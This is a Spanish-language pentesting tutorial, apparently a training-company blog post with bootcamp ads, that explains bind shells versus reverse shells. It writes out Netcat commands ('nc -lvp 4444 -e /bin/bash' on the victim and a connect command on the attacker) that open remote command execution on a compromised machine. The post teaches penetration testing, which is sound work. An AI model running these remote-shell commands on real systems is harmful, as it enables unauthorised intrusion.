¿Cómo ejecutar una shell directa?

Autor: | Última modificación: 10 de noviembre de 2022 | Tiempo de Lectura: 3 minutos
Temas en este post: ,

¿Te gustaría saber cómo ejecutar una shell directa con Netcat en Kali Linux?

El siguiente tutorial de cómo ejecutar una shell directa en Kali Linux está hecho con fines académicos. El uso de técnicas de hacking en entornos no autorizados se considera un delito. Por eso, los conocimientos que veremos a continuación deben ser puestos en práctica de manera segura, en entornos virtuales legales y apropiados.

El pentesting es una rama de la ciberseguridad que estudia las técnicas de los ciberatacantes para identificar y explotar vulnerabilidades informáticas. Asimismo, en el pentesting, se evalúa el riesgo de las vulnerabilidades ejecutando tareas maliciosas, de forma controlada, en el sistema comprometido.

La postexplotación es una fase del pentesting en la cual un auditor evalúa qué tipo de acciones maliciosas puede cometer un atacante al explotar una determinada vulnerabilidad. Algunas de las tareas más comunes que ejecutan los atacantes durante la postexplotación de un sistema son:

  • Exfiltración de datos.
  • Despliegue de código malicioso.
  • Escalada de privilegios.
  • Movimiento lateral a través de la red.
  • Ejecución remota de código.

En este post, veremos una técnica de ejecución remota de comandos para la postexplotación de un sistema. A continuación, te explicaremos cómo ejecutar una shell directa con el programa Netcat en Kali Linux.

¿Cómo ejecutar una shell directa?

Una shell directa es una terminal de comandos a distancia que permite ejecutar código en un ordenador comprometido. En una shell de tipo bind o directo, es el ordenador del atacante el que se conecta al de la víctima; en una shell inversa sucede al contrario. Después de este tutorial, veremos por qué las shells inversas son las que más se utilizan en ciberseguridad. Sin embargo, primero te explicaremos cómo ejecutar una shell directa en Kali Linux.

Comandos

Para ejecutar una shell en un ordenador vulnerado, es necesario accionar ciertos comandos tanto en el sistema del atacante como en el de la víctima. A continuación, te enseñaremos cuáles son dichos comandos.

  • En el ordenador de la víctima, se debe ejecutar el siguiente comando, que servirá para activar nuestra shell.
nc -lvp 4444 -e /bin/bash

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Lo cual se vería del siguiente modo en la terminal:

¿Cómo ejecutar una shell directa? 1
  • En el ordenador del atacante, para conectarse al de la víctima, se debe ejecutar el siguiente comando:
nc <Dirección IP de la víctima> 4444

Lo cual, en consola, se vería del siguiente modo:

¿Cómo ejecutar una shell directa? 2
  • Al ejecutar este comando en el ordenador del atacante, ya te habrás conectado al puerto 4444 de la máquina de la víctima. Para comprobarlo, verás el siguiente mensaje en la terminal vulnerada:
¿Cómo ejecutar una shell directa? 3
  • Finalmente, en la terminal del atacante, podrás ejecutar cualquier comando de Linux y realizar todo tipo de tareas en el ordenador vulnerado, como, por ejemplo:
¿Cómo ejecutar una shell directa? 4

Shell directa vs. shell inversa

Ya hemos visto cómo ejecutar una shell directa o bind shell con Netcat desde Kali Linux. Sin embargo, es necesario hablar acerca de las diferencias entre shell directa e inversa y cuál de ellas elegir.

En pentesting, siempre se utilizan shells inversas, ya que con estas se logra que el ordenador de la víctima sea el que se conecte al del atacante. Este proceso es preferible al opuesto, debido a que evade los sistemas de seguridad que filtran el tráfico de entrada al ordenador, como los firewalls. Por eso, es bueno conocer las shells directas, aunque rara vez se implementen en ejercicios de hacking web.

¿Cómo aprender más?

Ahora sabes cómo ejecutar una shell directa con Netcat en Kali Linux. Si quieres aprender a dominar más técnicas similares, en KeepCoding tenemos un curso intensivo justo para ti. Entra a nuestro Ciberseguridad Full Stack Bootcamp y descubre cómo convertirte en especialista en tan solo 7 meses.

Aprende en clases en vivo, con profesores expertos, sobre temas como information gathering, análisis de malware, criptografía, red team/blue team y mucho más. ¡No sigas esperando y dale un impulso a tu vida profesional!

[email protected]

¿Trabajo? Aprende a programar y consíguelo.

¡No te pierdas la próxima edición del Aprende a Programar desde Cero Full Stack Jr. Bootcamp!

 

Prepárate en 4 meses, aprende las últimas tecnologías y consigue trabajo desde ya. 

 

Solo en España hay más de 120.400 puestos tech sin cubrir, y con un sueldo 11.000€ por encima de la media nacional. ¡Es tu momento!

 

🗓️ Próxima edición: 13 de febrero

 

Reserva tu plaza descubre las becas disponibles.